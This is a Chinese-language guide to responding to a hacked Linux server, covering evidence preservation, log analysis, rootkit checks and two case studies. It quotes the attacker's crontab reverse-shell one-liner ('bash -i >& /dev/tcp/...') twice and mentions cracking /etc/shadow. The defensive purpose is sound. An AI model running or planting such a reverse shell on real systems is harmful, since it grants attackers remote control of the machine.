到服務(wù)器被黑，很多人會(huì)采用拔網(wǎng)線、封 iptables 或者關(guān)掉所有服務(wù)的方式應(yīng)急，但如果是線上服務(wù)器就不能立即采用任何影響業(yè)務(wù)的手段了，需要根據(jù)服務(wù)器業(yè)務(wù)情況分類處理。
下面我們看一個(gè)標(biāo)準(zhǔn)的服務(wù)器安全應(yīng)急影響應(yīng)該怎么做，也算是筆者從事安全事件應(yīng)急近 6 年以來的一些經(jīng)驗(yàn)之談，借此拋磚引玉，希望大神們不吝賜教。
圖 1：處理思路
如上圖，將服務(wù)器安全應(yīng)急響應(yīng)流程分為如下 8 個(gè)環(huán)節(jié)：
-
發(fā)現(xiàn)安全事件（核實(shí)）
-
現(xiàn)場保護(hù)
-
服務(wù)器保護(hù)
-
影響范圍評(píng)估
-
在線分析
-
數(shù)據(jù)備份
-
深入分析
-
事件報(bào)告整理
接下來我們將每個(gè)環(huán)節(jié)分解，看看需要如何斷開異常連接、排查入侵源頭、避免二次入侵等。
核實(shí)信息（運(yùn)維/安全人員）
根據(jù)安全事件通知源的不同，分為兩種：
-
外界通知：和報(bào)告人核實(shí)信息，確認(rèn)服務(wù)器/系統(tǒng)是否被入侵。現(xiàn)在很多企業(yè)有自己的 SRC（安全響應(yīng)中心），在此之前更多的是依賴某云。這種情況入侵的核實(shí)一般是安全工程師完成。
-
自行發(fā)現(xiàn)：根據(jù)服務(wù)器的異；蚬收吓袛，比如對(duì)外發(fā)送大規(guī)模流量或者系統(tǒng)負(fù)載異常高等，這種情況一般是運(yùn)維工程師發(fā)現(xiàn)并核實(shí)的。
現(xiàn)場保護(hù)（運(yùn)維）
我們很多人看過大陸的電視劇《重案六組》，每次接到刑事案件，刑警們第一時(shí)間就是封鎖現(xiàn)場、保存現(xiàn)場原狀。
同樣道理，安全事件發(fā)生現(xiàn)場，跟刑事案件發(fā)生現(xiàn)場一樣，需要保存第一現(xiàn)場重要信息，方便后面入侵檢測和取證。
保存現(xiàn)場環(huán)境(截圖)
相關(guān)信息采集命令如下：
-
進(jìn)程信息：ps axu
-
網(wǎng)絡(luò)信息：netstat –a
-
網(wǎng)絡(luò)+進(jìn)程：lsof / netstat -p
攻擊者登陸情況(截圖)
相關(guān)信息采集命令如下：
-
查看當(dāng)前登錄用戶：w 或 who -a
服務(wù)器保護(hù)（運(yùn)維/機(jī)房）
這里的現(xiàn)場保護(hù)和服務(wù)器保護(hù)是兩個(gè)不同的環(huán)節(jié)，前者注重取證，后者注重環(huán)境隔離。
核實(shí)機(jī)器被入侵后，應(yīng)當(dāng)盡快將機(jī)器保護(hù)起來，避免被二次入侵或者當(dāng)成跳板擴(kuò)大攻擊面。
此時(shí)，為保護(hù)服務(wù)器和業(yè)務(wù)，避免服務(wù)器被攻擊者繼續(xù)利用，應(yīng)盡快遷移業(yè)務(wù)，立即下線機(jī)器。
如果不能立即處理，應(yīng)當(dāng)通過配置網(wǎng)絡(luò) ACL 等方式，封掉該服務(wù)器對(duì)網(wǎng)絡(luò)的雙向連接。
影響范圍評(píng)估（運(yùn)維/開發(fā)）
一般是運(yùn)維或者程序確認(rèn)影響范圍，需要運(yùn)維通過日志或者監(jiān)控圖表確認(rèn)數(shù)據(jù)庫或者敏感文件是否泄露，如果是代碼或者數(shù)據(jù)庫泄露了，則需要程序評(píng)估危害情況與處置方法。
影響訪問評(píng)估一般從下面幾點(diǎn)來入手：
-
具體業(yè)務(wù)架構(gòu)：Web(PHP/Java， WebServer)， Proxy， DB等。
-
IP 及所處區(qū)域拓?fù)涞?/strong>：VLAN 內(nèi)服務(wù)器和應(yīng)用情況。
-
確定同一網(wǎng)絡(luò)下面服務(wù)器之間的訪問：可以互相登陸，是否需要 Key 或者是密碼登錄。
由此確定檢查影響范圍，確認(rèn)所有受到影響的網(wǎng)段和機(jī)器。
在線分析（安全人員/運(yùn)維）
這時(shí)需要根據(jù)個(gè)人經(jīng)驗(yàn)快速在線分析，一般是安全人員和運(yùn)維同時(shí)在線處理，不過會(huì)涉及多人協(xié)作的問題，需要避免多人操作機(jī)器時(shí)破壞服務(wù)器現(xiàn)場，造成分析困擾。
之前筆者遇到一個(gè)類似的問題，就是運(yùn)維排查時(shí)敲錯(cuò)了 iptables 的命令，將 iptables -L 敲成 iptables -i 導(dǎo)致 iptables-save 時(shí)出現(xiàn)異常記錄，結(jié)果安全人員上來檢查時(shí)就被這條記錄迷惑了，導(dǎo)致處理思路受到一定干擾。
所有用戶 History 日志檢測
-
關(guān)鍵字：wget/curl， gcc， 或者隱藏文件， 敏感文件后綴（.c，.py，conf， .pl， .sh)。
-
檢查是否存在異常用戶。
-
檢查最近添加的用戶，是否有不知名用戶或不規(guī)范提權(quán)。
-
找出 root 權(quán)限的用戶。
可以執(zhí)行以下命令檢查：
-
grep -v -E "^#" /etc/passwd | awk -F： '$3 == 0 { print $1}'
反連木馬判斷
-
netstat –a
-
注意非正常端口的外網(wǎng) IP
可疑進(jìn)程判斷
-
判斷是否為木馬 ps –aux
-
重點(diǎn)關(guān)注文件（隱藏文件）， Python腳本，Perl腳本，Shell 腳本（bash/sh/zsh）。
-
使用 which，whereis，find 定位。
Crontab 檢測
不要用 crontab –l 查看 crontab（繞過檢測），也有通過寫 crontab 配置文件反彈Shell 的，筆者接觸過幾次，一般都是使用的 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1。
系統(tǒng)日志檢測
-
檢查 sshd 服務(wù)配置文件 /etc/ssh/sshd_config 和系統(tǒng)認(rèn)證日志 auth、message，判斷是否為口令破解攻擊。
-
/etc/ssh/sshd_config 文件確認(rèn)認(rèn)證方式。
-
確認(rèn)日志是否被刪除或者清理過的可能（大小判斷）。
-
last/lastb 可以作為輔助，不過可能不準(zhǔn)確。
NHIDS 正常運(yùn)行判斷
-
是否安裝：ls /etc/ossec
-
是否運(yùn)行正常：ps axu |grep nhids，三個(gè) nhids 進(jìn)程則表示正常
其他攻擊分析
抓取網(wǎng)絡(luò)數(shù)據(jù)包并進(jìn)行分析，判斷是否為拒絕服務(wù)攻擊，這里需要注意，一定要使用 -w 參數(shù)，這樣才能保存成 pcap 格式導(dǎo)入到 wireshark，這樣分析起來會(huì)事半功倍。
-
tcpdump -w tcpdump.log
安全相關(guān)的關(guān)鍵文件和數(shù)據(jù)備份（運(yùn)維）
可以同步進(jìn)行，使用 sftp/rsync 等將日志上傳到安全的服務(wù)器：
-
打包系統(tǒng)日志：參考：$ tar -jcvf syslog.tar.bz2 /var/log
-
打包 Web 日志：access log
-
打包 History 日志（所有用戶），參考：$ cp /home/user/，history user_history
-
打包 crontab 記錄
-
打包密碼文件：/etc/passwd， /etc/shadow
-
打包可疑文件、后門、Shell 信息
深入分析（安全人員）
初步鎖定異常進(jìn)程和惡意代碼后，將受影響范圍梳理清楚，封禁了入侵者對(duì)機(jī)器的控制后，接下來需要深入排查入侵原因。一般可以從 Webshell、開放端口服務(wù)等方向順藤摸瓜。
Webshell 入侵
-
使用 Webshell_check.py 腳本檢測 Web 目錄：
-
$ python webshell_check.py /var/www/ >result.txt
-
查找 Web 目錄下所有 nobody 的文件，人工分析：
-
$ find /var/www –user nobody >nobody.txt
-
如果能確定入侵時(shí)間，可以使用 find 查找最近時(shí)間段內(nèi)變化的文件：
-
$ find / -type f -name "\.?*" |xargs ls -l |grep "Mar 22"
-
$ find / -ctime/-mtime 8
利用 Web 漏洞直接反連 Shell
分析 access.log：
-
縮小日志范圍：時(shí)間，異常 IP 提取。
-
攻擊行為提取：常見的攻擊 exp 識(shí)別。
系統(tǒng)弱口令入侵
認(rèn)證相關(guān)日志 auth/syslog/message 排查：
-
爆破行為定位和 IP 提取。
-
爆破是否成功確定：有爆破行為 IP 是否有 accept 記錄。
如果日志已經(jīng)被清理，使用工具（比如John the Ripper）爆破 /etc/passwd，/etc/shadow。
其他入侵
其他服務(wù)器跳板到本機(jī)。
后續(xù)行為分析
History 日志：提權(quán)、增加后門，以及是否被清理。
Sniffer：網(wǎng)卡混雜模式檢測 ifconfig |grep –i proc。
內(nèi)網(wǎng)掃描：網(wǎng)絡(luò) nmap/ 掃描器，socks5 代理。
確定是否有 rootkit：rkhunter， chkrootkit， ps/netstat 替換確認(rèn)。
后門清理排查
根據(jù)時(shí)間點(diǎn)做關(guān)聯(lián)分析：查找那個(gè)時(shí)間段的所有文件。
一些小技巧：/tmp 目錄， ls –la，查看所有文件，注意隱藏的文件。
根據(jù)用戶做時(shí)間關(guān)聯(lián)：比如 nobody。
其他機(jī)器的關(guān)聯(lián)操作
其他機(jī)器和這臺(tái)機(jī)器的網(wǎng)絡(luò)連接 （日志查看）、相同業(yè)務(wù)情況（同樣業(yè)務(wù)，負(fù)載均衡）。
整理事件報(bào)告（安全人員）
事件報(bào)告應(yīng)包含但不限于以下幾個(gè)點(diǎn)：
-
分析事件發(fā)生原因：事件為什么會(huì)發(fā)生的原因。
-
分析整個(gè)攻擊流程：時(shí)間點(diǎn)、操作。
-
分析事件處理過程：整個(gè)事件處理過程總結(jié)是否有不足。
-
分析事件預(yù)防：如何避免事情再次發(fā)生。
-
總結(jié)：總結(jié)事件原因，改進(jìn)處理過程，預(yù)防類似事件再次發(fā)生。
處理中遇到的比較棘手的事情
日志和操作記錄全被刪了，怎么辦？
strace 查看 losf 進(jìn)程，再嘗試恢復(fù)一下日志記錄，不行的話鏡像硬盤數(shù)據(jù)慢慢查。這個(gè)要用到一些取證工具了，dd 硬盤數(shù)據(jù)再去還原出來。
系統(tǒng)賬號(hào)密碼都修改了，登不進(jìn)去？
重啟進(jìn)單用戶模式修改 root 密碼，或者通過控制卡操作，或者直接還原系統(tǒng)，都搞不定就直接重裝吧。
使用常見的入侵檢測命令未發(fā)現(xiàn)異常進(jìn)程，但是機(jī)器在對(duì)外發(fā)包，這是怎么回事？
這種情況下很可能常用的系統(tǒng)命令已經(jīng)被攻擊者或者木馬程序替換，可以通過 md5sum 對(duì)比本機(jī)二進(jìn)制文件與正常機(jī)器的 md5 值是否一致。
如果發(fā)現(xiàn)不一致，肯定是被替換了，可以從其他機(jī)器上拷貝命令到本機(jī)替換，或者 alias 為其他名稱，避免為惡意程序再次替換。
被 getshell 怎么辦？
-
漏洞修復(fù)前，系統(tǒng)立即下線，用內(nèi)網(wǎng)環(huán)境訪問。
-
上傳點(diǎn)放到內(nèi)網(wǎng)訪問，不允許外網(wǎng)有類似的上傳點(diǎn)，有上傳點(diǎn)，而且沒有校驗(yàn)文件類型很容易上傳 Webshell。
-
被 getshell 的服務(wù)器中是否有敏感文件和數(shù)據(jù)庫，如果有請(qǐng)檢查是否有泄漏。
-
hosts 文件中對(duì)應(yīng)的 host 關(guān)系需要重新配置，攻擊者可以配置 hosts 來訪問測試環(huán)境。
-
重裝系統(tǒng)。
案例分析
上面講了很多思路的東西，相信大家更想看看實(shí)際案例，下面介紹兩個(gè)案例。
案例 1
一個(gè)別人處理的案例，基本處理過程如下：
通過外部端口掃描收集開放端口信息，然后獲取到反彈 Shell 信息，登陸機(jī)器發(fā)現(xiàn)關(guān)鍵命令已經(jīng)被替換，后面查看 History 記錄，發(fā)現(xiàn)疑似木馬文件，通過簡單逆向和進(jìn)程查看發(fā)現(xiàn)了異常進(jìn)程，從而鎖定了入侵原因。
具體內(nèi)容可以查看：http://www.freebuf.com/articles/system/50728.html
案例 2
一個(gè)筆者實(shí)際處理過的案例，基本處理流程跟上面提到的思路大同小異。
整個(gè)事情處理經(jīng)過大致如下：
1、運(yùn)維發(fā)現(xiàn)一臺(tái)私有云主機(jī)間歇性的對(duì)外發(fā)送高達(dá) 800Mbps 的流量，影響了同一個(gè)網(wǎng)段的其他機(jī)器。
2、安全人員接到通知后，先確認(rèn)了機(jī)器屬于備機(jī)，沒有跑在線業(yè)務(wù)，于是通知運(yùn)維封禁 iptables 限制外網(wǎng)訪問。
3、運(yùn)維為安全人員臨時(shí)開通機(jī)器權(quán)限，安全人員通過 History 和 ps 找到的入侵記錄和異常進(jìn)程鎖定了對(duì)外大量發(fā)包的應(yīng)用程序，清理了惡意進(jìn)程并刪除惡意程序。
惡意進(jìn)程如下，經(jīng)過在網(wǎng)絡(luò)搜索發(fā)現(xiàn)是一種 DDOS 木馬，但沒有明確的處理思路：
-
/usr/bin/bsd-port/getty/usr/bin/acpid./dbuspm-session /sbin/DDosClient RunByP4407/sbin/DDosClient RunByPM4673
處理過程中，安全人員懷疑系統(tǒng)文件被替換，通過對(duì)比該機(jī)器與正常機(jī)器上面的 ps、netstat 等程序的大小發(fā)現(xiàn)敏感程序已經(jīng)被替換，而且 mtime 也被修改。
正常機(jī)器：
-
du -sh /bin/ps
-
92K /bin/ps
-
du -sh /bin/netstat
-
120K /bin/netstat
被入侵機(jī)器：
-
du -sh /bin/netstat
-
2.0M /bin/netstat
-
du -sh /bin/ps
-
2.0M /bin/ps
將部分常用二進(jìn)制文件修復(fù)后，發(fā)現(xiàn)異常進(jìn)程被 kill 掉后仍重啟了，于是安裝殺毒軟件 clamav 和 rootkit hunter 進(jìn)行全盤掃描。
從而確認(rèn)了被感染的所有文件，將那些可以刪除的文件刪除后再次 kill 掉異常進(jìn)程，則再?zèng)]有重啟的問題。
4、影響范圍評(píng)估
由于該機(jī)器只是備機(jī)，上面沒有敏感數(shù)據(jù)，于是信息泄露問題也就不存在了。
掃描同一網(wǎng)段機(jī)器端口開放情況、排查被入侵機(jī)器 History 是否有對(duì)外掃描或者入侵行為，為此還在該網(wǎng)段機(jī)器另外部署蜜罐進(jìn)行監(jiān)控。
5、深入分析入侵原因
通過被入侵機(jī)器所跑服務(wù)、iptables 狀態(tài)，確認(rèn)是所跑服務(wù)支持遠(yuǎn)程命令執(zhí)行。
并且機(jī)器 iptables 為空導(dǎo)致黑客通過往 /etc/crontab 中寫“bash -i >& /dev/tcp/10.0.0.1/8080 0>&1”命令方式進(jìn)行 Shell 反彈，從而入侵了機(jī)器。
6、驗(yàn)證修復(fù)、機(jī)器下線重裝
進(jìn)行以上修復(fù)操作后，監(jiān)控未發(fā)現(xiàn)再有異常，于是將機(jī)器下線重裝。
7、完成安全事件處理報(bào)告
每次安全事件處理后，都應(yīng)當(dāng)整理成報(bào)告，不管是知識(shí)庫的構(gòu)建，還是統(tǒng)計(jì)分析安全態(tài)勢，都是很有必要的。
這次主要介紹了服務(wù)器被入侵時(shí)推薦的一套處理思路。實(shí)際上，安全防護(hù)跟運(yùn)維思路一樣，都是要防患于未然，這時(shí)候的審計(jì)或者響應(yīng)很難避免危害的發(fā)生了。
我們更希望通過安全意識(shí)教育、安全制度的建設(shè)，在問題顯露端倪時(shí)即可消弭于無形。